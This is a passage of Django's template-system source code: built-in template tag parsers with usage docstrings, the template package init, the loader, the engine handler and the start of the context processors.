        except (ValueError, TypeError):
            raise TemplateSyntaxError("widthratio final argument must be a number")
        try:
            value = float(value)
            max_value = float(max_value)
            ratio = (value / max_value) * max_width
            result = str(int(round(ratio)))
        except ZeroDivisionError:
            return '0'
        except (ValueError, TypeError, OverflowError):
            return ''

        if self.asvar:
            context[self.asvar] = result
            return ''
        else:
            return result


class WithNode(Node):
    def __init__(self, var, name, nodelist, extra_context=None):
        self.nodelist = nodelist
        # var and name are legacy attributes, being left in case they are used
        # by third-party subclasses of this Node.
        self.extra_context = extra_context or {}
        if name:
            self.extra_context[name] = var

    def __repr__(self):
        return "<WithNode>"

    def render(self, context):
        values = {key: val.resolve(context) for key, val in
                  six.iteritems(self.extra_context)}
        with context.push(**values):
            return self.nodelist.render(context)


@register.tag
def autoescape(parser, token):
    """
    Force autoescape behavior for this block.
    """
    # token.split_contents() isn't useful here because this tag doesn't accept variable as arguments
    args = token.contents.split()
    if len(args) != 2:
        raise TemplateSyntaxError("'autoescape' tag requires exactly one argument.")
    arg = args[1]
    if arg not in ('on', 'off'):
        raise TemplateSyntaxError("'autoescape' argument should be 'on' or 'off'")
    nodelist = parser.parse(('endautoescape',))
    parser.delete_first_token()
    return AutoEscapeControlNode((arg == 'on'), nodelist)


@register.tag
def comment(parser, token):
    """
    Ignores everything between ``{% comment %}`` and ``{% endcomment %}``.
    """
    parser.skip_past('endcomment')
    return CommentNode()


@register.tag
def cycle(parser, token):
    """
    Cycles among the given strings each time this tag is encountered.

    Within a loop, cycles among the given strings each time through
    the loop::

        {% for o in some_list %}
            <tr class="{% cycle 'row1' 'row2' %}">
                ...
            </tr>
        {% endfor %}

    Outside of a loop, give the values a unique name the first time you call
    it, then use that name each successive time through::

            <tr class="{% cycle 'row1' 'row2' 'row3' as rowcolors %}">...</tr>
            <tr class="{% cycle rowcolors %}">...</tr>
            <tr class="{% cycle rowcolors %}">...</tr>

    You can use any number of values, separated by spaces. Commas can also
    be used to separate values; if a comma is used, the cycle values are
    interpreted as literal strings.

    The optional flag "silent" can be used to prevent the cycle declaration
    from returning any value::

        {% for o in some_list %}
            {% cycle 'row1' 'row2' as rowcolors silent %}
            <tr class="{{ rowcolors }}">{% include "subtemplate.html " %}</tr>
        {% endfor %}
    """
    # Note: This returns the exact same node on each {% cycle name %} call;
    # that is, the node object returned from {% cycle a b c as name %} and the
    # one returned from {% cycle name %} are the exact same object. This
    # shouldn't cause problems (heh), but if it does, now you know.
    #
    # Ugly hack warning: This stuffs the named template dict into parser so
    # that names are only unique within each template (as opposed to using
    # a global variable, which would make cycle names have to be unique across
    # *all* templates.

    args = token.split_contents()

    if len(args) < 2:
        raise TemplateSyntaxError("'cycle' tag requires at least two arguments")

    if len(args) == 2:
        # {% cycle foo %} case.
        name = args[1]
        if not hasattr(parser, '_named_cycle_nodes'):
            raise TemplateSyntaxError("No named cycles in template. '%s' is not defined" % name)
        if name not in parser._named_cycle_nodes:
            raise TemplateSyntaxError("Named cycle '%s' does not exist" % name)
        return parser._named_cycle_nodes[name]

    as_form = False

    if len(args) > 4:
        # {% cycle ... as foo [silent] %} case.
        if args[-3] == "as":
            if args[-1] != "silent":
                raise TemplateSyntaxError("Only 'silent' flag is allowed after cycle's name, not '%s'." % args[-1])
            as_form = True
            silent = True
            args = args[:-1]
        elif args[-2] == "as":
            as_form = True
            silent = False

    if as_form:
        name = args[-1]
        values = [parser.compile_filter(arg) for arg in args[1:-2]]
        node = CycleNode(values, name, silent=silent)
        if not hasattr(parser, '_named_cycle_nodes'):
            parser._named_cycle_nodes = {}
        parser._named_cycle_nodes[name] = node
    else:
        values = [parser.compile_filter(arg) for arg in args[1:]]
        node = CycleNode(values)
    return node


@register.tag
def csrf_token(parser, token):
    return CsrfTokenNode()


@register.tag
def debug(parser, token):
    """
    Outputs a whole load of debugging information, including the current
    context and imported modules.

    Sample usage::

        <pre>
            {% debug %}
        </pre>
    """
    return DebugNode()


@register.tag('filter')
def do_filter(parser, token):
    """
    Filters the contents of the block through variable filters.

    Filters can also be piped through each other, and they can have
    arguments -- just like in variable syntax.

    Sample usage::

        {% filter force_escape|lower %}
            This text will be HTML-escaped, and will appear in lowercase.
        {% endfilter %}

    Note that the ``escape`` and ``safe`` filters are not acceptable arguments.
    Instead, use the ``autoescape`` tag to manage autoescaping for blocks of
    template code.
    """
    # token.split_contents() isn't useful here because this tag doesn't accept variable as arguments
    _, rest = token.contents.split(None, 1)
    filter_expr = parser.compile_filter("var|%s" % (rest))
    for func, unused in filter_expr.filters:
        filter_name = getattr(func, '_filter_name', None)
        if filter_name in ('escape', 'safe'):
            raise TemplateSyntaxError('"filter %s" is not permitted.  Use the "autoescape" tag instead.' % filter_name)
    nodelist = parser.parse(('endfilter',))
    parser.delete_first_token()
    return FilterNode(filter_expr, nodelist)


@register.tag
def firstof(parser, token):
    """
    Outputs the first variable passed that is not False.

    Outputs nothing if all the passed variables are False.

    Sample usage::

        {% firstof var1 var2 var3 as myvar %}

    This is equivalent to::

        {% if var1 %}
            {{ var1 }}
        {% elif var2 %}
            {{ var2 }}
        {% elif var3 %}
            {{ var3 }}
        {% endif %}

    but obviously much cleaner!

    You can also use a literal string as a fallback value in case all
    passed variables are False::

        {% firstof var1 var2 var3 "fallback value" %}

    If you want to disable auto-escaping of variables you can use::

        {% autoescape off %}
            {% firstof var1 var2 var3 "<strong>fallback value</strong>" %}
        {% autoescape %}

    Or if only some variables should be escaped, you can use::

        {% firstof var1 var2|safe var3 "<strong>fallback value</strong>"|safe %}
    """
    bits = token.split_contents()[1:]
    asvar = None
    if len(bits) < 1:
        raise TemplateSyntaxError("'firstof' statement requires at least one argument")

    if len(bits) >= 2 and bits[-2] == 'as':
        asvar = bits[-1]
        bits = bits[:-2]
    return FirstOfNode([parser.compile_filter(bit) for bit in bits], asvar)


@register.tag('for')
def do_for(parser, token):
    """
    Loops over each item in an array.

    For example, to display a list of athletes given ``athlete_list``::

        <ul>
        {% for athlete in athlete_list %}
            <li>{{ athlete.name }}</li>
        {% endfor %}
        </ul>

    You can loop over a list in reverse by using
    ``{% for obj in list reversed %}``.

    You can also unpack multiple values from a two-dimensional array::

        {% for key,value in dict.items %}
            {{ key }}: {{ value }}
        {% endfor %}

    The ``for`` tag can take an optional ``{% empty %}`` clause that will
    be displayed if the given array is empty or could not be found::

        <ul>
          {% for athlete in athlete_list %}
            <li>{{ athlete.name }}</li>
          {% empty %}
            <li>Sorry, no athletes in this list.</li>
          {% endfor %}
        <ul>

    The above is equivalent to -- but shorter, cleaner, and possibly faster
    than -- the following::

        <ul>
          {% if athlete_list %}
            {% for athlete in athlete_list %}
              <li>{{ athlete.name }}</li>
            {% endfor %}
          {% else %}
            <li>Sorry, no athletes in this list.</li>
          {% endif %}
        </ul>

    The for loop sets a number of variables available within the loop:

        ==========================  ================================================
        Variable                    Description
        ==========================  ================================================
        ``forloop.counter``         The current iteration of the loop (1-indexed)
        ``forloop.counter0``        The current iteration of the loop (0-indexed)
        ``forloop.revcounter``      The number of iterations from the end of the
                                    loop (1-indexed)
        ``forloop.revcounter0``     The number of iterations from the end of the
                                    loop (0-indexed)
        ``forloop.first``           True if this is the first time through the loop
        ``forloop.last``            True if this is the last time through the loop
        ``forloop.parentloop``      For nested loops, this is the loop "above" the
                                    current one
        ==========================  ================================================
    """
    bits = token.split_contents()
    if len(bits) < 4:
        raise TemplateSyntaxError("'for' statements should have at least four"
                                  " words: %s" % token.contents)

    is_reversed = bits[-1] == 'reversed'
    in_index = -3 if is_reversed else -2
    if bits[in_index] != 'in':
        raise TemplateSyntaxError("'for' statements should use the format"
                                  " 'for x in y': %s" % token.contents)

    loopvars = re.split(r' *, *', ' '.join(bits[1:in_index]))
    for var in loopvars:
        if not var or ' ' in var:
            raise TemplateSyntaxError("'for' tag received an invalid argument:"
                                      " %s" % token.contents)

    sequence = parser.compile_filter(bits[in_index + 1])
    nodelist_loop = parser.parse(('empty', 'endfor',))
    token = parser.next_token()
    if token.contents == 'empty':
        nodelist_empty = parser.parse(('endfor',))
        parser.delete_first_token()
    else:
        nodelist_empty = None
    return ForNode(loopvars, sequence, is_reversed, nodelist_loop, nodelist_empty)


def do_ifequal(parser, token, negate):
    bits = list(token.split_contents())
    if len(bits) != 3:
        raise TemplateSyntaxError("%r takes two arguments" % bits[0])
    end_tag = 'end' + bits[0]
    nodelist_true = parser.parse(('else', end_tag))
    token = parser.next_token()
    if token.contents == 'else':
        nodelist_false = parser.parse((end_tag,))
        parser.delete_first_token()
    else:
        nodelist_false = NodeList()
    val1 = parser.compile_filter(bits[1])
    val2 = parser.compile_filter(bits[2])
    return IfEqualNode(val1, val2, nodelist_true, nodelist_false, negate)


@register.tag
def ifequal(parser, token):
    """
    Outputs the contents of the block if the two arguments equal each other.

    Examples::

        {% ifequal user.id comment.user_id %}
            ...
        {% endifequal %}

        {% ifnotequal user.id comment.user_id %}
            ...
        {% else %}
            ...
        {% endifnotequal %}
    """
    return do_ifequal(parser, token, False)


@register.tag
def ifnotequal(parser, token):
    """
    Outputs the contents of the block if the two arguments are not equal.
    See ifequal.
    """
    return do_ifequal(parser, token, True)


class TemplateLiteral(Literal):
    def __init__(self, value, text):
        self.value = value
        self.text = text  # for better error messages

    def display(self):
        return self.text

    def eval(self, context):
        return self.value.resolve(context, ignore_failures=True)


class TemplateIfParser(IfParser):
    error_class = TemplateSyntaxError

    def __init__(self, parser, *args, **kwargs):
        self.template_parser = parser
        super(TemplateIfParser, self).__init__(*args, **kwargs)

    def create_var(self, value):
        return TemplateLiteral(self.template_parser.compile_filter(value), value)


@register.tag('if')
def do_if(parser, token):
    """
    The ``{% if %}`` tag evaluates a variable, and if that variable is "true"
    (i.e., exists, is not empty, and is not a false boolean value), the
    contents of the block are output:

    ::

        {% if athlete_list %}
            Number of athletes: {{ athlete_list|count }}
        {% elif athlete_in_locker_room_list %}
            Athletes should be out of the locker room soon!
        {% else %}
            No athletes.
        {% endif %}

    In the above, if ``athlete_list`` is not empty, the number of athletes will
    be displayed by the ``{{ athlete_list|count }}`` variable.

    As you can see, the ``if`` tag may take one or several `` {% elif %}``
    clauses, as well as an ``{% else %}`` clause that will be displayed if all
    previous conditions fail. These clauses are optional.

    ``if`` tags may use ``or``, ``and`` or ``not`` to test a number of
    variables or to negate a given variable::

        {% if not athlete_list %}
            There are no athletes.
        {% endif %}

        {% if athlete_list or coach_list %}
            There are some athletes or some coaches.
        {% endif %}

        {% if athlete_list and coach_list %}
            Both athletes and coaches are available.
        {% endif %}

        {% if not athlete_list or coach_list %}
            There are no athletes, or there are some coaches.
        {% endif %}

        {% if athlete_list and not coach_list %}
            There are some athletes and absolutely no coaches.
        {% endif %}

    Comparison operators are also available, and the use of filters is also
    allowed, for example::

        {% if articles|length >= 5 %}...{% endif %}

    Arguments and operators _must_ have a space between them, so
    ``{% if 1>2 %}`` is not a valid if tag.

    All supported operators are: ``or``, ``and``, ``in``, ``not in``
    ``==``, ``!=``, ``>``, ``>=``, ``<`` and ``<=``.

    Operator precedence follows Python.
    """
    # {% if ... %}
    bits = token.split_contents()[1:]
    condition = TemplateIfParser(parser, bits).parse()
    nodelist = parser.parse(('elif', 'else', 'endif'))
    conditions_nodelists = [(condition, nodelist)]
    token = parser.next_token()

    # {% elif ... %} (repeatable)
    while token.contents.startswith('elif'):
        bits = token.split_contents()[1:]
        condition = TemplateIfParser(parser, bits).parse()
        nodelist = parser.parse(('elif', 'else', 'endif'))
        conditions_nodelists.append((condition, nodelist))
        token = parser.next_token()

    # {% else %} (optional)
    if token.contents == 'else':
        nodelist = parser.parse(('endif',))
        conditions_nodelists.append((None, nodelist))
        token = parser.next_token()

    # {% endif %}
    if token.contents != 'endif':
        raise TemplateSyntaxError('Malformed template tag at line {0}: "{1}"'.format(token.lineno, token.contents))

    return IfNode(conditions_nodelists)


@register.tag
def ifchanged(parser, token):
    """
    Checks if a value has changed from the last iteration of a loop.

    The ``{% ifchanged %}`` block tag is used within a loop. It has two
    possible uses.

    1. Checks its own rendered contents against its previous state and only
       displays the content if it has changed. For example, this displays a
       list of days, only displaying the month if it changes::

            <h1>Archive for {{ year }}</h1>

            {% for date in days %}
                {% ifchanged %}<h3>{{ date|date:"F" }}</h3>{% endifchanged %}
                <a href="{{ date|date:"M/d"|lower }}/">{{ date|date:"j" }}</a>
            {% endfor %}

    2. If given one or more variables, check whether any variable has changed.
       For example, the following shows the date every time it changes, while
       showing the hour if either the hour or the date has changed::

            {% for date in days %}
                {% ifchanged date.date %} {{ date.date }} {% endifchanged %}
                {% ifchanged date.hour date.date %}
                    {{ date.hour }}
                {% endifchanged %}
            {% endfor %}
    """
    bits = token.split_contents()
    nodelist_true = parser.parse(('else', 'endifchanged'))
    token = parser.next_token()
    if token.contents == 'else':
        nodelist_false = parser.parse(('endifchanged',))
        parser.delete_first_token()
    else:
        nodelist_false = NodeList()
    values = [parser.compile_filter(bit) for bit in bits[1:]]
    return IfChangedNode(nodelist_true, nodelist_false, *values)


def find_library(parser, name):
    try:
        return parser.libraries[name]
    except KeyError:
        raise TemplateSyntaxError(
            "'%s' is not a registered tag library. Must be one of:\n%s" % (
                name, "\n".join(sorted(parser.libraries.keys())),
            ),
        )


def load_from_library(library, label, names):
    """
    Return a subset of tags and filters from a library.
    """
    subset = Library()
    for name in names:
        found = False
        if name in library.tags:
            found = True
            subset.tags[name] = library.tags[name]
        if name in library.filters:
            found = True
            subset.filters[name] = library.filters[name]
        if found is False:
            raise TemplateSyntaxError(
                "'%s' is not a valid tag or filter in tag library '%s'" % (
                    name, label,
                ),
            )
    return subset


@register.tag
def load(parser, token):
    """
    Loads a custom template tag library into the parser.

    For example, to load the template tags in
    ``django/templatetags/news/photos.py``::

        {% load news.photos %}

    Can also be used to load an individual tag/filter from
    a library::

        {% load byline from news %}
    """
    # token.split_contents() isn't useful here because this tag doesn't accept variable as arguments
    bits = token.contents.split()
    if len(bits) >= 4 and bits[-2] == "from":
        # from syntax is used; load individual tags from the library
        name = bits[-1]
        lib = find_library(parser, name)
        subset = load_from_library(lib, name, bits[1:-2])
        parser.add_library(subset)
    else:
        # one or more libraries are specified; load and add them to the parser
        for name in bits[1:]:
            lib = find_library(parser, name)
            parser.add_library(lib)
    return LoadNode()


@register.tag
def lorem(parser, token):
    """
    Creates random Latin text useful for providing test data in templates.

    Usage format::

        {% lorem [count] [method] [random] %}

    ``count`` is a number (or variable) containing the number of paragraphs or
    words to generate (default is 1).

    ``method`` is either ``w`` for words, ``p`` for HTML paragraphs, ``b`` for
    plain-text paragraph blocks (default is ``b``).

    ``random`` is the word ``random``, which if given, does not use the common
    paragraph (starting "Lorem ipsum dolor sit amet, consectetuer...").

    Examples:

    * ``{% lorem %}`` will output the common "lorem ipsum" paragraph
    * ``{% lorem 3 p %}`` will output the common "lorem ipsum" paragraph
      and two random paragraphs each wrapped in HTML ``<p>`` tags
    * ``{% lorem 2 w random %}`` will output two random latin words
    """
    bits = list(token.split_contents())
    tagname = bits[0]
    # Random bit
    common = bits[-1] != 'random'
    if not common:
        bits.pop()
    # Method bit
    if bits[-1] in ('w', 'p', 'b'):
        method = bits.pop()
    else:
        method = 'b'
    # Count bit
    if len(bits) > 1:
        count = bits.pop()
    else:
        count = '1'
    count = parser.compile_filter(count)
    if len(bits) != 1:
        raise TemplateSyntaxError("Incorrect format for %r tag" % tagname)
    return LoremNode(count, method, common)


@register.tag
def now(parser, token):
    """
    Displays the date, formatted according to the given string.

    Uses the same format as PHP's ``date()`` function; see http://php.net/date
    for all the possible values.

    Sample usage::

        It is {% now "jS F Y H:i" %}
    """
    bits = token.split_contents()
    asvar = None
    if len(bits) == 4 and bits[-2] == 'as':
        asvar = bits[-1]
        bits = bits[:-2]
    if len(bits) != 2:
        raise TemplateSyntaxError("'now' statement takes one argument")
    format_string = bits[1][1:-1]
    return NowNode(format_string, asvar)


@register.tag
def regroup(parser, token):
    """
    Regroups a list of alike objects by a common attribute.

    This complex tag is best illustrated by use of an example:  say that
    ``people`` is a list of ``Person`` objects that have ``first_name``,
    ``last_name``, and ``gender`` attributes, and you'd like to display a list
    that looks like:

        * Male:
            * George Bush
            * Bill Clinton
        * Female:
            * Margaret Thatcher
            * Colendeeza Rice
        * Unknown:
            * Pat Smith

    The following snippet of template code would accomplish this dubious task::

        {% regroup people by gender as grouped %}
        <ul>
        {% for group in grouped %}
            <li>{{ group.grouper }}
            <ul>
                {% for item in group.list %}
                <li>{{ item }}</li>
                {% endfor %}
            </ul>
        {% endfor %}
        </ul>

    As you can see, ``{% regroup %}`` populates a variable with a list of
    objects with ``grouper`` and ``list`` attributes.  ``grouper`` contains the
    item that was grouped by; ``list`` contains the list of objects that share
    that ``grouper``.  In this case, ``grouper`` would be ``Male``, ``Female``
    and ``Unknown``, and ``list`` is the list of people with those genders.

    Note that ``{% regroup %}`` does not work when the list to be grouped is not
    sorted by the key you are grouping by!  This means that if your list of
    people was not sorted by gender, you'd need to make sure it is sorted
    before using it, i.e.::

        {% regroup people|dictsort:"gender" by gender as grouped %}
    """
    bits = token.split_contents()
    if len(bits) != 6:
        raise TemplateSyntaxError("'regroup' tag takes five arguments")
    target = parser.compile_filter(bits[1])
    if bits[2] != 'by':
        raise TemplateSyntaxError("second argument to 'regroup' tag must be 'by'")
    if bits[4] != 'as':
        raise TemplateSyntaxError("next-to-last argument to 'regroup' tag must"
                                  " be 'as'")
    var_name = bits[5]
    # RegroupNode will take each item in 'target', put it in the context under
    # 'var_name', evaluate 'var_name'.'expression' in the current context, and
    # group by the resulting value. After all items are processed, it will
    # save the final result in the context under 'var_name', thus clearing the
    # temporary values. This hack is necessary because the template engine
    # doesn't provide a context-aware equivalent of Python's getattr.
    expression = parser.compile_filter(var_name +
                                       VARIABLE_ATTRIBUTE_SEPARATOR +
                                       bits[3])
    return RegroupNode(target, expression, var_name)


@register.tag
def spaceless(parser, token):
    """
    Removes whitespace between HTML tags, including tab and newline characters.

    Example usage::

        {% spaceless %}
            <p>
                <a href="foo/">Foo</a>
            </p>
        {% endspaceless %}

    This example would return this HTML::

        <p><a href="foo/">Foo</a></p>

    Only space between *tags* is normalized -- not space between tags and text.
    In this example, the space around ``Hello`` won't be stripped::

        {% spaceless %}
            <strong>
                Hello
            </strong>
        {% endspaceless %}
    """
    nodelist = parser.parse(('endspaceless',))
    parser.delete_first_token()
    return SpacelessNode(nodelist)


@register.tag
def templatetag(parser, token):
    """
    Outputs one of the bits used to compose template tags.

    Since the template system has no concept of "escaping", to display one of
    the bits used in template tags, you must use the ``{% templatetag %}`` tag.

    The argument tells which template bit to output:

        ==================  =======
        Argument            Outputs
        ==================  =======
        ``openblock``       ``{%``
        ``closeblock``      ``%}``
        ``openvariable``    ``{{``
        ``closevariable``   ``}}``
        ``openbrace``       ``{``
        ``closebrace``      ``}``
        ``opencomment``     ``{#``
        ``closecomment``    ``#}``
        ==================  =======
    """
    # token.split_contents() isn't useful here because this tag doesn't accept variable as arguments
    bits = token.contents.split()
    if len(bits) != 2:
        raise TemplateSyntaxError("'templatetag' statement takes one argument")
    tag = bits[1]
    if tag not in TemplateTagNode.mapping:
        raise TemplateSyntaxError("Invalid templatetag argument: '%s'."
                                  " Must be one of: %s" %
                                  (tag, list(TemplateTagNode.mapping)))
    return TemplateTagNode(tag)


@register.tag
def url(parser, token):
    """
    Return an absolute URL matching the given view with its parameters.

    This is a way to define links that aren't tied to a particular URL
    configuration::

        {% url "url_name" arg1 arg2 %}

        or

        {% url "url_name" name1=value1 name2=value2 %}

    The first argument is a django.conf.urls.url() name. Other arguments are
    space-separated values that will be filled in place of positional and
    keyword arguments in the URL. Don't mix positional and keyword arguments.
    All arguments for the URL must be present.

    For example, if you have a view ``app_name.views.client_details`` taking
    the client's id and the corresponding line in a URLconf looks like this::

        url('^client/(\d+)/$', views.client_details, name='client-detail-view')

    and this app's URLconf is included into the project's URLconf under some
    path::

        url('^clients/', include('app_name.urls'))

    then in a template you can create a link for a certain client like this::

        {% url "client-detail-view" client.id %}

    The URL will look like ``/clients/client/123/``.

    The first argument may also be the name of a template variable that will be
    evaluated to obtain the view name or the URL name, e.g.::

        {% with url_name="client-detail-view" %}
        {% url url_name client.id %}
        {% endwith %}
    """
    bits = token.split_contents()
    if len(bits) < 2:
        raise TemplateSyntaxError("'%s' takes at least one argument, the name of a url()." % bits[0])
    viewname = parser.compile_filter(bits[1])
    args = []
    kwargs = {}
    asvar = None
    bits = bits[2:]
    if len(bits) >= 2 and bits[-2] == 'as':
        asvar = bits[-1]
        bits = bits[:-2]

    if len(bits):
        for bit in bits:
            match = kwarg_re.match(bit)
            if not match:
                raise TemplateSyntaxError("Malformed arguments to url tag")
            name, value = match.groups()
            if name:
                kwargs[name] = parser.compile_filter(value)
            else:
                args.append(parser.compile_filter(value))

    return URLNode(viewname, args, kwargs, asvar)


@register.tag
def verbatim(parser, token):
    """
    Stops the template engine from rendering the contents of this block tag.

    Usage::

        {% verbatim %}
            {% don't process this %}
        {% endverbatim %}

    You can also designate a specific closing tag block (allowing the
    unrendered use of ``{% endverbatim %}``)::

        {% verbatim myblock %}
            ...
        {% endverbatim myblock %}
    """
    nodelist = parser.parse(('endverbatim',))
    parser.delete_first_token()
    return VerbatimNode(nodelist.render(Context()))


@register.tag
def widthratio(parser, token):
    """
    For creating bar charts and such, this tag calculates the ratio of a given
    value to a maximum value, and then applies that ratio to a constant.

    For example::

        <img src="bar.png" alt="Bar"
             height="10" width="{% widthratio this_value max_value max_width %}" />

    If ``this_value`` is 175, ``max_value`` is 200, and ``max_width`` is 100,
    the image in the above example will be 88 pixels wide
    (because 175/200 = .875; .875 * 100 = 87.5 which is rounded up to 88).

    In some cases you might want to capture the result of widthratio in a
    variable. It can be useful for instance in a blocktrans like this::

        {% widthratio this_value max_value max_width as width %}
        {% blocktrans %}The width is: {{ width }}{% endblocktrans %}
    """
    bits = token.split_contents()
    if len(bits) == 4:
        tag, this_value_expr, max_value_expr, max_width = bits
        asvar = None
    elif len(bits) == 6:
        tag, this_value_expr, max_value_expr, max_width, as_, asvar = bits
        if as_ != 'as':
            raise TemplateSyntaxError("Invalid syntax in widthratio tag. Expecting 'as' keyword")
    else:
        raise TemplateSyntaxError("widthratio takes at least three arguments")

    return WidthRatioNode(parser.compile_filter(this_value_expr),
                          parser.compile_filter(max_value_expr),
                          parser.compile_filter(max_width),
                          asvar=asvar)


@register.tag('with')
def do_with(parser, token):
    """
    Adds one or more values to the context (inside of this block) for caching
    and easy access.

    For example::

        {% with total=person.some_sql_method %}
            {{ total }} object{{ total|pluralize }}
        {% endwith %}

    Multiple values can be added to the context::

        {% with foo=1 bar=2 %}
            ...
        {% endwith %}

    The legacy format of ``{% with person.some_sql_method as total %}`` is
    still accepted.
    """
    bits = token.split_contents()
    remaining_bits = bits[1:]
    extra_context = token_kwargs(remaining_bits, parser, support_legacy=True)
    if not extra_context:
        raise TemplateSyntaxError("%r expected at least one variable "
                                  "assignment" % bits[0])
    if remaining_bits:
        raise TemplateSyntaxError("%r received an invalid token: %r" %
                                  (bits[0], remaining_bits[0]))
    nodelist = parser.parse(('endwith',))
    parser.delete_first_token()
    return WithNode(None, None, nodelist, extra_context=extra_context)






"""
Django's support for templates.

The django.template namespace contains two independent subsystems:

1. Multiple Template Engines: support for pluggable template backends,
   built-in backends and backend-independent APIs
2. Django Template Language: Django's own template engine, including its
   built-in loaders, context processors, tags and filters.

Ideally these subsystems would be implemented in distinct packages. However
keeping them together made the implementation of Multiple Template Engines
less disruptive .

Here's a breakdown of which modules belong to which subsystem.

Multiple Template Engines:

- django.template.backends.*
- django.template.loader
- django.template.response

Django Template Language:

- django.template.base
- django.template.context
- django.template.context_processors
- django.template.loaders.*
- django.template.debug
- django.template.defaultfilters
- django.template.defaulttags
- django.template.engine
- django.template.loader_tags
- django.template.smartif

Shared:

- django.template.utils

"""

# Multiple Template Engines

from .engine import Engine
from .utils import EngineHandler

engines = EngineHandler()

__all__ = ('Engine', 'engines')


# Django Template Language

# Public exceptions
from .base import VariableDoesNotExist                                  # NOQA isort:skip
from .context import ContextPopException                                # NOQA isort:skip
from .exceptions import TemplateDoesNotExist, TemplateSyntaxError       # NOQA isort:skip

# Template parts
from .base import (                                                     # NOQA isort:skip
    Context, Node, NodeList, Origin, RequestContext, StringOrigin, Template,
    Variable,
)

# Library management
from .library import Library                                            # NOQA isort:skip


__all__ += ('Template', 'Context', 'RequestContext')






from django.utils import six
from django.utils.deprecation import (
    DeprecationInstanceCheck, RemovedInDjango20Warning,
)

from . import engines
from .base import Origin
from .exceptions import TemplateDoesNotExist


def get_template(template_name, using=None):
    """
    Loads and returns a template for the given name.

    Raises TemplateDoesNotExist if no such template exists.
    """
    chain = []
    engines = _engine_list(using)
    for engine in engines:
        try:
            return engine.get_template(template_name)
        except TemplateDoesNotExist as e:
            chain.append(e)

    raise TemplateDoesNotExist(template_name, chain=chain)


def select_template(template_name_list, using=None):
    """
    Loads and returns a template for one of the given names.

    Tries names in order and returns the first template found.

    Raises TemplateDoesNotExist if no such template exists.
    """
    if isinstance(template_name_list, six.string_types):
        raise TypeError(
            'select_template() takes an iterable of template names but got a '
            'string: %r. Use get_template() if you want to load a single '
            'template by name.' % template_name_list
        )

    chain = []
    engines = _engine_list(using)
    for template_name in template_name_list:
        for engine in engines:
            try:
                return engine.get_template(template_name)
            except TemplateDoesNotExist as e:
                chain.append(e)

    if template_name_list:
        raise TemplateDoesNotExist(', '.join(template_name_list), chain=chain)
    else:
        raise TemplateDoesNotExist("No template names provided")


def render_to_string(template_name, context=None, request=None, using=None):
    """
    Loads a template and renders it with a context. Returns a string.

    template_name may be a string or a list of strings.
    """
    if isinstance(template_name, (list, tuple)):
        template = select_template(template_name, using=using)
    else:
        template = get_template(template_name, using=using)
    return template.render(context, request)


def _engine_list(using=None):
    return engines.all() if using is None else [engines[using]]


class LoaderOrigin(six.with_metaclass(DeprecationInstanceCheck, Origin)):
    alternative = 'django.template.Origin'
    deprecation_warning = RemovedInDjango20Warning






import os
from collections import Counter, OrderedDict

from django.apps import apps
from django.conf import settings
from django.core.exceptions import ImproperlyConfigured
from django.utils import lru_cache
from django.utils._os import upath
from django.utils.functional import cached_property
from django.utils.module_loading import import_string


class InvalidTemplateEngineError(ImproperlyConfigured):
    pass


class EngineHandler(object):
    def __init__(self, templates=None):
        """
        templates is an optional list of template engine definitions
        (structured like settings.TEMPLATES).
        """
        self._templates = templates
        self._engines = {}

    @cached_property
    def templates(self):
        if self._templates is None:
            self._templates = settings.TEMPLATES

        templates = OrderedDict()
        backend_names = []
        for tpl in self._templates:
            tpl = tpl.copy()
            try:
                # This will raise an exception if 'BACKEND' doesn't exist or
                # isn't a string containing at least one dot.
                default_name = tpl['BACKEND'].rsplit('.', 2)[-2]
            except Exception:
                invalid_backend = tpl.get('BACKEND', '<not defined>')
                raise ImproperlyConfigured(
                    "Invalid BACKEND for a template engine: {}. Check "
                    "your TEMPLATES setting.".format(invalid_backend))

            tpl.setdefault('NAME', default_name)
            tpl.setdefault('DIRS', [])
            tpl.setdefault('APP_DIRS', False)
            tpl.setdefault('OPTIONS', {})

            templates[tpl['NAME']] = tpl
            backend_names.append(tpl['NAME'])

        counts = Counter(backend_names)
        duplicates = [alias for alias, count in counts.most_common() if count > 1]
        if duplicates:
            raise ImproperlyConfigured(
                "Template engine aliases aren't unique, duplicates: {}. "
                "Set a unique NAME for each engine in settings.TEMPLATES."
                .format(", ".join(duplicates)))

        return templates

    def __getitem__(self, alias):
        try:
            return self._engines[alias]
        except KeyError:
            try:
                params = self.templates[alias]
            except KeyError:
                raise InvalidTemplateEngineError(
                    "Could not find config for '{}' "
                    "in settings.TEMPLATES".format(alias))

            # If importing or initializing the backend raises an exception,
            # self._engines[alias] isn't set and this code may get executed
            # again, so we must preserve the original params. See #24265.
            params = params.copy()
            backend = params.pop('BACKEND')
            engine_cls = import_string(backend)
            engine = engine_cls(params)

            self._engines[alias] = engine
            return engine

    def __iter__(self):
        return iter(self.templates)

    def all(self):
        return [self[alias] for alias in self]


@lru_cache.lru_cache()
def get_app_template_dirs(dirname):
    """
    Return an iterable of paths of directories to load app templates from.

    dirname is the name of the subdirectory containing templates inside
    installed applications.
    """
    template_dirs = []
    for app_config in apps.get_app_configs():
        if not app_config.path:
            continue
        template_dir = os.path.join(app_config.path, dirname)
        if os.path.isdir(template_dir):
            template_dirs.append(upath(template_dir))
    # Immutable return value because it will be cached and shared by callers.
    return tuple(template_dirs)






"""
A set of request processors that return dictionaries to be merged into a
template context. Each function takes the request object as its only parameter
and returns a dictionary to add to the context.

These are referenced from the 'context_processors' option of the configuration
of a DjangoTemplates backend and used by RequestContext.
"""

from __future__ import unicode_literals

import itertools

from django.conf import settings
from django.middleware.csrf import get_token
from django.utils.encoding import smart_text
from django.utils.functional import SimpleLazyObject, lazy


def csrf(request):
    """
    Context processor that provides a CSRF token, or the string 'NOTPROVIDED' if
    it has not been provided by either a view decorator or the middleware
    """
    def _get_val():
        token = get_token(request)
        if token is None:
            # In order to be able to provide debugging info in the
            # case of misconfiguration, we use a sentinel value
            # instead of returning an empty dict.
            return 'NOTPROVIDED'
        else:
            return smart_text(token)

    return {'csrf_token': SimpleLazyObject(_get_val)}


def debug(request):
    """
    Returns context variables helpful for debugging.
    """
    context_extras = {}
    if settings.DEBUG and request.META.get('REMOTE_ADDR') in settings.INTERNAL_IPS:
        context_extras['debug'] = True
        from django.db import connections
        # Return a lazy reference that computes connection.queries on access,
        # to ensure it contains queries triggered after this function runs.
        context_extras['sql_queries'] = lazy(
            lambda: list(itertools.chain(*[connections[x].queries for x in connections])),
            list
        )
    return context_extras


def i18n(request):
    from django.utils import translation
    return {
        'LANGUAGES': settings.LANGUAGES,
